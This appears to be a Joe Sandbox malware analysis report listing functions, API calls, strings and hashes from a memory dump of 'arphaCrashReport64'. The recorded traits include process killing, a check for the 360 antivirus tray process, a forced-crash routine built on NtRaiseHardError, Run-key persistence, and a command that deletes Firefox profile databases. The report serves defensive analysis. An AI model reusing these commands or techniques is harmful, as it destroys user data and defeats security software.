Instruction ID: 1ba0329293b68ab2caf5b0daf2d17fa846767342cdf87f16b282c37e11266335
Opcode Fuzzy Hash: 5be1d2db3d2cf4a8f60e120e3a7be8c171a668c2326ee10cb714a65c25129b90
Instruction Fuzzy Hash: 66516F3661AA808AE720DF35E8487D9B7B0F7D97A4F501226EA5D47BE5CF38C506C740

Function 000002177938F1D0 Relevance: 15.1, APIs: 10, Instructions: 62sleepprocessstringCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 000002177938F1F7
Process32First.KERNEL32 ref: 000002177938F225
lstrcmp.KERNEL32 ref: 000002177938F238
OpenProcess.KERNEL32 ref: 000002177938F24C
TerminateProcess.KERNEL32 ref: 000002177938F25F
CloseHandle.KERNEL32 ref: 000002177938F268
Process32Next.KERNEL32 ref: 000002177938F276
Sleep.KERNEL32 ref: 000002177938F285
CloseHandle.KERNEL32 ref: 000002177938F28E
CloseHandle.KERNEL32 ref: 000002177938F2C5

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: CloseHandle$ProcessProcess32$CreateFirstNextOpenSleepSnapshotTerminateToolhelp32lstrcmp
String ID:
API String ID: 3983807665-0
Opcode ID: 9a4ad9ec79557f838d5c850d1e15d38df011c5af4594aac11a6b4254f04b6826
Instruction ID: f35610dca816b827db18f6c1e68001c4f0e5576670c77e2910f7bce50ba62d1a
Opcode Fuzzy Hash: 9a4ad9ec79557f838d5c850d1e15d38df011c5af4594aac11a6b4254f04b6826
Instruction Fuzzy Hash: EB210C3960AA4082EA64CF21E85D7EAE3B1FBEDBB4F445224D95A467D4DE3CC0468610

Function 000002177939902C Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

GetStartupInfoW.KERNEL32 ref: 000002177939904D

Part of subcall function 000002177939537C: Sleep.KERNEL32(?,?,ceil,0000021779394907,?,?,?,0000021779393209,?,?,?,?,00000217793A3CCA), ref: 00000217793953C1

GetFileType.KERNEL32 ref: 00000217793991B8
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00000217793991F6

Strings

@, xrefs: 00000217793992B1

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: CountCriticalFileInfoInitializeSectionSleepSpinStartupType
String ID: @
API String ID: 3473179607-2766056989
Opcode ID: 4ef9daa8ef8e328afaa7914443f25a4f1d3113b308b25f51eb380e23cebb4cf6
Instruction ID: 565947a6dcfd0cc917d638b85c470f322df273bad520d537f8ae89598cc29a3f
Opcode Fuzzy Hash: 4ef9daa8ef8e328afaa7914443f25a4f1d3113b308b25f51eb380e23cebb4cf6
Instruction Fuzzy Hash: 1981827120AB8586EB189F25D84C3A9B7B8F7ADB78F545328DA7A533D1DB34C456C300

Function 0000021779395128 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

_lock.LIBCMT ref: 0000021779395151

Part of subcall function 0000021779399B98: _amsg_exit.LIBCMT ref: 0000021779399BC2

RtlDecodePointer.NTDLL ref: 0000021779395184
RtlDecodePointer.NTDLL ref: 00000217793951A2
RtlDecodePointer.NTDLL ref: 00000217793951E2
RtlDecodePointer.NTDLL ref: 00000217793951FC
RtlDecodePointer.NTDLL ref: 000002177939520C
ExitProcess.KERNEL32 ref: 0000021779395298

Strings

ceil, xrefs: 0000021779395138

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: DecodePointer$ExitProcess_amsg_exit_lock
String ID: ceil
API String ID: 3411037476-3069211559
Opcode ID: e2e3b51d05ac2f4ea72abadf658c529adedca980e58158798a595591db0a13ac
Instruction ID: 0e3030cd0b32323a11267766331365cdde64faa2390a3b2262eef8b3ace8afc3
Opcode Fuzzy Hash: e2e3b51d05ac2f4ea72abadf658c529adedca980e58158798a595591db0a13ac
Instruction Fuzzy Hash: 47413B3121BA4091FA509F11E8583A9E2B4F7ECBB8F542126EE8D427E5EF78C497C701

Function 0000021779382AC0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 59stringprocessCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0000021779382AD6

Part of subcall function 0000021779393290: malloc.LIBCMT ref: 00000217793932AA

Process32First.KERNEL32 ref: 0000021779382B0D
lstrcmpi.KERNEL32 ref: 0000021779382B27
Process32Next.KERNEL32 ref: 0000021779382B37
lstrcmpi.KERNEL32 ref: 0000021779382B4C
Process32Next.KERNEL32 ref: 0000021779382B5C
CloseHandle.KERNEL32 ref: 0000021779382B73

Strings

360tray.exe, xrefs: 0000021779382B17, 0000021779382B41

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: Process32$Nextlstrcmpi$CloseCreateFirstHandleSnapshotToolhelp32malloc
String ID: 360tray.exe
API String ID: 2114354-563812762
Opcode ID: 0a80cdac67bdaee33adcad855c3420713f87a426b057a216acdd1655a8540214
Instruction ID: 76bae9de9a9323df6a6572a63f89fc5e55c0d40a589ebb4a87819ace67976272
Opcode Fuzzy Hash: 0a80cdac67bdaee33adcad855c3420713f87a426b057a216acdd1655a8540214
Instruction Fuzzy Hash: 0D213D3171AA4082EB459F22A85869AE3B4E7ECFE0F486021E94A477D4DF38C547C714

Function 0000021779382F20 Relevance: 13.6, APIs: 9, Instructions: 99threadCOMMON

Download Yara Rule

APIs

IsWindow.USER32 ref: 0000021779382F37
GetWindowThreadProcessId.USER32 ref: 0000021779382F63
GetCurrentProcessId.KERNEL32 ref: 0000021779382F6B
GetCurrentThreadId.KERNEL32 ref: 0000021779382F77
GetWindowTextA.USER32 ref: 0000021779382F8D
InternalGetWindowText.USER32 ref: 0000021779382FD6
WideCharToMultiByte.KERNEL32 ref: 0000021779382FFA
WideCharToMultiByte.KERNEL32 ref: 0000021779383021
GetWindowTextA.USER32 ref: 000002177938306C

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: Window$Text$ByteCharCurrentMultiProcessThreadWide$Internal
String ID:
API String ID: 3111847906-0
Opcode ID: 0fdf438269659fc0fa65afeff1c2bec110f1865e7b9a251698ba59ba194f47bd
Instruction ID: 631dbf05999446f126815aa96ecacff252d7a0cdb721891b6f7e4a456d501787
Opcode Fuzzy Hash: 0fdf438269659fc0fa65afeff1c2bec110f1865e7b9a251698ba59ba194f47bd
Instruction Fuzzy Hash: 5931C0B270A74086E6109F26B80869EE2A0F7D8BF4F181134EE9A47BE4DF3CC4568704

Function 000002177938E723 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 31libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 000002177938E72A
GetProcAddress.KERNEL32 ref: 000002177938E73A
GetModuleHandleA.KERNEL32 ref: 000002177938E74A
GetProcAddress.KERNEL32 ref: 000002177938E75A

Strings

ntdll.dll, xrefs: 000002177938E723, 000002177938E740
NtRaiseHardError, xrefs: 000002177938E750
RtlAdjustPrivilege, xrefs: 000002177938E730

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: NtRaiseHardError$RtlAdjustPrivilege$ntdll.dll
API String ID: 1646373207-3189222469
Opcode ID: ab13eb02454ac93fcd2d64e85cb7ad2ec888a7379b4bcbbceb6dd2d3d825901a
Instruction ID: d58e304c8c89173b3f353742304cea205c4e4eb4e05f5e1ffc1dc8ca276322c9
Opcode Fuzzy Hash: ab13eb02454ac93fcd2d64e85cb7ad2ec888a7379b4bcbbceb6dd2d3d825901a
Instruction Fuzzy Hash: FF011D3561AA4692EB10DFA5F858AC5F371FBEC7A8F442011EA4D077A4DE38C14ACB00

Function 0000021779391D10 Relevance: 12.1, APIs: 8, Instructions: 138memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,?,000002177938E182), ref: 0000021779391D50
VirtualAlloc.KERNEL32(?,?,?,000002177938E182), ref: 0000021779391D6D

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 21959852741109b5e7747a37437c39210fff53e0e4c1cda0704ecbb69bd8df48
Instruction ID: 2d90f1f209beb23947c0b4b7a6e9434966e95384974f2dea97efc8555a709479
Opcode Fuzzy Hash: 21959852741109b5e7747a37437c39210fff53e0e4c1cda0704ecbb69bd8df48
Instruction Fuzzy Hash: D5517E3671AA408AEB54CF52E9487B9B3B1FB9CBE8F085025DE4917B94DF38D452C740

Function 0000021779399AB0 Relevance: 12.1, APIs: 8, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

_FF_MSGBANNER.LIBCMT ref: 0000021779399AD7

Part of subcall function 000002177939A4A4: _set_error_mode.LIBCMT ref: 000002177939A4AD
Part of subcall function 000002177939A4A4: _set_error_mode.LIBCMT ref: 000002177939A4BC

Part of subcall function 000002177939A244: _set_error_mode.LIBCMT ref: 000002177939A289
Part of subcall function 000002177939A244: _set_error_mode.LIBCMT ref: 000002177939A29A
Part of subcall function 000002177939A244: GetModuleFileNameW.KERNEL32 ref: 000002177939A2FC

Part of subcall function 0000021779394F94: ExitProcess.KERNEL32 ref: 0000021779394FA3

Part of subcall function 00000217793952FC: malloc.LIBCMT ref: 0000021779395327
Part of subcall function 00000217793952FC: Sleep.KERNEL32(?,?,ceil,0000021779399B11,?,?,?,0000021779399BBB,?,?,00000000,0000021779394875,?,?,00000000,000002177939492C), ref: 000002177939533A

_errno.LIBCMT ref: 0000021779399B19
_lock.LIBCMT ref: 0000021779399B2D
InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,?,0000021779399BBB,?,?,00000000,0000021779394875,?,?,00000000,000002177939492C,?,?,?,0000021779393209), ref: 0000021779399B43
free.LIBCMT ref: 0000021779399B50
_errno.LIBCMT ref: 0000021779399B55
RtlLeaveCriticalSection.NTDLL ref: 0000021779399B78

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: _set_error_mode$CriticalSection_errno$CountExitFileInitializeLeaveModuleNameProcessSleepSpin_lockfreemalloc
String ID:
API String ID: 113790786-0
Opcode ID: 86b9dc4b091e1531f1f1660560b6c68a568f69c3ca3f9b6cc957dd92b27819b6
Instruction ID: ca1781bddcba25c6d82da7ce4bc6fff6dea7f3c872f2a6b74f9dbd24e49ee56a
Opcode Fuzzy Hash: 86b9dc4b091e1531f1f1660560b6c68a568f69c3ca3f9b6cc957dd92b27819b6
Instruction Fuzzy Hash: 7D213B3161F64482F664AF61E41D3FAE2B8EBEC7B8F146524E947466D6CF3CC8428350

Function 0000021779398A90 Relevance: 12.0, APIs: 8, Instructions: 39COMMON

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 0000021779398A9D
_errno.LIBCMT ref: 0000021779398AA5
_invalid_parameter_noinfo.LIBCMT ref: 0000021779398AB1
GetFileAttributesA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,del /s /f %appdata%\Mozilla\Firefox\Profiles\*.db,?,?,000002177939408F), ref: 0000021779398AC2
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,del /s /f %appdata%\Mozilla\Firefox\Profiles\*.db,?,?,000002177939408F), ref: 0000021779398ACD
_errno.LIBCMT ref: 0000021779398ADA

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$AttributesErrorFileLast__doserrno_invalid_parameter_noinfo
String ID:
API String ID: 2953107838-0
Opcode ID: f747f3ee9be4ded5c3729201c636670468750acdd607b39ec7231ba446a72a78
Instruction ID: 28a704d25fbd56d2a62c35b844390fc0d797e98c5d17a3f431ef07f3171e1bea
Opcode Fuzzy Hash: f747f3ee9be4ded5c3729201c636670468750acdd607b39ec7231ba446a72a78
Instruction Fuzzy Hash: A101F6F160F2048AFA652FB4984E3F9A1B09BFC77DF44B514EA62462C2C63C48838621

Function 00000217790ABF88 Relevance: 11.6, APIs: 9, Instructions: 379COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 00000217790AC277
free.LIBCMT ref: 00000217790AC287
free.LIBCMT ref: 00000217790AC297
free.LIBCMT ref: 00000217790AC2A3
free.LIBCMT ref: 00000217790AC2F8
free.LIBCMT ref: 00000217790AC300
free.LIBCMT ref: 00000217790AC308
free.LIBCMT ref: 00000217790AC310
free.LIBCMT ref: 00000217790AC31A

Memory Dump Source

Source File: 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779090000_arphaCrashReport64.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f32bca21d81294411377cb91f11f61de43356bc1920308245a35a8ea1693f131
Instruction ID: d5ac6cecea6674b50ae5a235112e977c903fa2bff807ec1515383b0e61963e2f
Opcode Fuzzy Hash: f32bca21d81294411377cb91f11f61de43356bc1920308245a35a8ea1693f131
Instruction Fuzzy Hash: 09D1B03062DA898BD75ADF6890593E9B7E0FBAD310F10416EE48AC73D2DB349842C7D1

Function 000002177939BFB0 Relevance: 10.8, APIs: 7, Instructions: 305COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 000002177939C034
free.LIBCMT ref: 000002177939C059
free.LIBCMT ref: 000002177939C41E
free.LIBCMT ref: 000002177939C42A

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 230abf8bd2d6fe58f199a5d982aed6ada3d7d01b665ea2997f38d06e056d1801
Instruction ID: 26a77f6ac09d6de56b1f74679113111f8d9e02504f7d7f606a1c646f3729e156
Opcode Fuzzy Hash: 230abf8bd2d6fe58f199a5d982aed6ada3d7d01b665ea2997f38d06e056d1801
Instruction Fuzzy Hash: 41D19032709B5085EB20DF52E089BEEB7B4F7E97A8F4015169E8D43795EB79C206C740

Function 0000021779390682 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 223registryCOMMON

Download Yara Rule

APIs

rand.LIBCMT ref: 00000217793907D1
RegOpenKeyExA.ADVAPI32 ref: 0000021779390940
RegSetValueExA.ADVAPI32 ref: 0000021779390979
RegCloseKey.ADVAPI32 ref: 0000021779390997

Strings

run, xrefs: 0000021779390986
SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 0000021779390932

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: CloseOpenValuerand
String ID: SOFTWARE\Microsoft\Windows\CurrentVersion\Run$run
API String ID: 1269030272-4096352211
Opcode ID: bb5cf5929220f16a8c944caad1162cf4acaccbe0bc6527bf008da004e9084124
Instruction ID: a2eb18ce8664595ea5ad212082feeaaa2a9300c385d1ffeaeba218d9df3c3169
Opcode Fuzzy Hash: bb5cf5929220f16a8c944caad1162cf4acaccbe0bc6527bf008da004e9084124
Instruction Fuzzy Hash: 56B15C3211ABC089E7749F34D8483E96371F3A93BCF406616DA994BADACF74C696C340

Function 0000021779387CE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 119COMMON

Download Yara Rule

APIs

Part of subcall function 0000021779393290: malloc.LIBCMT ref: 00000217793932AA

std::exception::exception.LIBCMT ref: 0000021779387DA7
free.LIBCMT ref: 0000021779387E17
free.LIBCMT ref: 0000021779387E29
free.LIBCMT ref: 0000021779387E3B
free.LIBCMT ref: 0000021779387E4D

Strings

bad locale name, xrefs: 0000021779387D94

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: free$mallocstd::exception::exception
String ID: bad locale name
API String ID: 4069110180-1405518554
Opcode ID: 95a9697bb6755bd2649860b9bd4432e613ca6325910d1b302bb7e252e0bbe095
Instruction ID: f0b1d6155d8fe6736ca076d4f477d745c9cc9d7cc6c5de8cdc55e70acb10fbb5
Opcode Fuzzy Hash: 95a9697bb6755bd2649860b9bd4432e613ca6325910d1b302bb7e252e0bbe095
Instruction Fuzzy Hash: C1516F3670AA0099FB10DFA0E4597EDB372A7A836CF042425DE4917BD9DF34845AC354

Function 00000217790A395C Relevance: 10.6, APIs: 7, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 00000217790A856C: _lock.LIBCMT ref: 00000217790A8593
Part of subcall function 00000217790A856C: _errno.LIBCMT ref: 00000217790A85A7
Part of subcall function 00000217790A856C: _invalid_parameter_noinfo.LIBCMT ref: 00000217790A85B3

_errno.LIBCMT ref: 00000217790A39E3
_errno.LIBCMT ref: 00000217790A39EA
_errno.LIBCMT ref: 00000217790A3A0A
_errno.LIBCMT ref: 00000217790A3A13
_errno.LIBCMT ref: 00000217790A3A1D
_errno.LIBCMT ref: 00000217790A3A27
free.LIBCMT ref: 00000217790A3A4D

Memory Dump Source

Source File: 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779090000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo_lockfree
String ID:
API String ID: 545175899-0
Opcode ID: 57a3e14ff19d228fc4fb1404de0338fa2b2075d3f3262c611f483b0a365b67db
Instruction ID: 8370a14999b22543ad57504ebff009f103c719c6dba39928b849f5e930e4b5e8
Opcode Fuzzy Hash: 57a3e14ff19d228fc4fb1404de0338fa2b2075d3f3262c611f483b0a365b67db
Instruction Fuzzy Hash: 2531673052960E8FEB56EF75844A2EEB6F5EBFC320F10452A9405D21D2DE348442C7E1

Function 000002177938D060 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

Part of subcall function 0000021779393290: malloc.LIBCMT ref: 00000217793932AA

std::exception::exception.LIBCMT ref: 000002177938D10B
free.LIBCMT ref: 000002177938D18D
free.LIBCMT ref: 000002177938D19F
free.LIBCMT ref: 000002177938D1B1
free.LIBCMT ref: 000002177938D1C3

Strings

bad locale name, xrefs: 000002177938D0F8

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: free$mallocstd::exception::exception
String ID: bad locale name
API String ID: 4069110180-1405518554
Opcode ID: 07180e9b4d2e60f22a41465041aba0a5742f0305ed2e05aa6cee22b514af3519
Instruction ID: d386697c20af798366f57932d8ab43618ffd11fe72f29524247ab08423307fb2
Opcode Fuzzy Hash: 07180e9b4d2e60f22a41465041aba0a5742f0305ed2e05aa6cee22b514af3519
Instruction Fuzzy Hash: 1441683620AB4098EB51EF60E4587EDB3B4EBA87ACF045125EE4D17AD9DE34C91AC304

Function 00000217793942A4 Relevance: 10.6, APIs: 7, Instructions: 93threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00000217793983F4: HeapCreate.KERNELBASE ref: 000002177939840A
Part of subcall function 00000217793983F4: GetVersion.KERNEL32 ref: 000002177939841C
Part of subcall function 00000217793983F4: HeapSetInformation.KERNEL32 ref: 000002177939843A

_RTC_Initialize.LIBCMT ref: 00000217793942D6
GetCommandLineA.KERNEL32 ref: 00000217793942DB

Part of subcall function 000002177939976C: GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00000217793942ED), ref: 0000021779399785
Part of subcall function 000002177939976C: WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00000217793942ED), ref: 00000217793997DC
Part of subcall function 000002177939976C: WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00000217793942ED), ref: 0000021779399817
Part of subcall function 000002177939976C: free.LIBCMT ref: 0000021779399824
Part of subcall function 000002177939976C: FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00000217793942ED), ref: 000002177939982F

Part of subcall function 000002177939902C: GetStartupInfoW.KERNEL32 ref: 000002177939904D

__setargv.LIBCMT ref: 0000021779394304
_cinit.LIBCMT ref: 0000021779394318

Part of subcall function 00000217793947F4: FlsFree.KERNEL32(?,?,?,?,0000021779394382), ref: 0000021779394803
Part of subcall function 00000217793947F4: RtlDeleteCriticalSection.NTDLL ref: 0000021779399A43
Part of subcall function 00000217793947F4: free.LIBCMT ref: 0000021779399A4C
Part of subcall function 00000217793947F4: RtlDeleteCriticalSection.NTDLL ref: 0000021779399A73

Part of subcall function 0000021779399300: free.LIBCMT ref: 0000021779399351

Part of subcall function 000002177939537C: Sleep.KERNEL32(?,?,ceil,0000021779394907,?,?,?,0000021779393209,?,?,?,?,00000217793A3CCA), ref: 00000217793953C1

FlsSetValue.KERNEL32 ref: 00000217793943B2
GetCurrentThreadId.KERNEL32 ref: 00000217793943C6
free.LIBCMT ref: 00000217793943D5

Part of subcall function 0000021779393D28: HeapFree.KERNEL32(?,?,00000000,0000021779394940,?,?,?,0000021779393209,?,?,?,?,00000217793A3CCA), ref: 0000021779393D3E
Part of subcall function 0000021779393D28: _errno.LIBCMT ref: 0000021779393D48
Part of subcall function 0000021779393D28: GetLastError.KERNEL32(?,?,00000000,0000021779394940,?,?,?,0000021779393209,?,?,?,?,00000217793A3CCA), ref: 0000021779393D50

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: free$FreeHeap$ByteCharCriticalDeleteEnvironmentMultiSectionStringsWide$CommandCreateCurrentErrorInfoInformationInitializeLastLineSleepStartupThreadValueVersion__setargv_cinit_errno
String ID:
API String ID: 125979975-0
Opcode ID: 37b4e0c4565de308d4cd786e8218033d40196c5ea1367a114a56c7de8a0c3825
Instruction ID: aa19c38609e4572620ea423a3488e79add487dd6d3f952ead1c9e03f43eb288d
Opcode Fuzzy Hash: 37b4e0c4565de308d4cd786e8218033d40196c5ea1367a114a56c7de8a0c3825
Instruction Fuzzy Hash: E1317E3460F32296FA657F71548D3FEE1B5ABFD37CF147225E861851C3EA2884638262

Function 00000217793920E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 47stringCOMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32 ref: 000002177939212E
lstrcpy.KERNEL32 ref: 0000021779392144
wsprintfA.USER32 ref: 0000021779392173
lstrlen.KERNEL32 ref: 000002177939217C

Strings

SOFTWARE\%sW\, xrefs: 0000021779392164
UnKnowW, xrefs: 0000021779392138

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: ComputerNamelstrcpylstrlenwsprintf
String ID: SOFTWARE\%sW\$UnKnowW
API String ID: 2137660125-763317463
Opcode ID: dcea012c4cec8c2c86aa07fbe8fa18e7c6b084d16e7e0d36b23a3dafce76063e
Instruction ID: 4ef7e3fa582f35deea9c7e0ef0687d08c423dbb0c5528ac7f00eb87b92b9753c
Opcode Fuzzy Hash: dcea012c4cec8c2c86aa07fbe8fa18e7c6b084d16e7e0d36b23a3dafce76063e
Instruction Fuzzy Hash: E811303121D98181EA20DF11E8597EAE371F7E9798F441011EA4D47A99EF3DC15ACB00

Function 000002177938DCA0 Relevance: 10.5, APIs: 7, Instructions: 44filesynchronizationstringCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 000002177938DCBC
CreateFileA.KERNEL32 ref: 000002177938DCEE
SetFilePointer.KERNEL32 ref: 000002177938DD13
lstrlen.KERNEL32 ref: 000002177938DD1C
WriteFile.KERNEL32 ref: 000002177938DD39
CloseHandle.KERNEL32 ref: 000002177938DD42
ReleaseMutex.KERNEL32 ref: 000002177938DD54

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: File$CloseCreateHandleMutexObjectPointerReleaseSingleWaitWritelstrlen
String ID:
API String ID: 4202892810-0
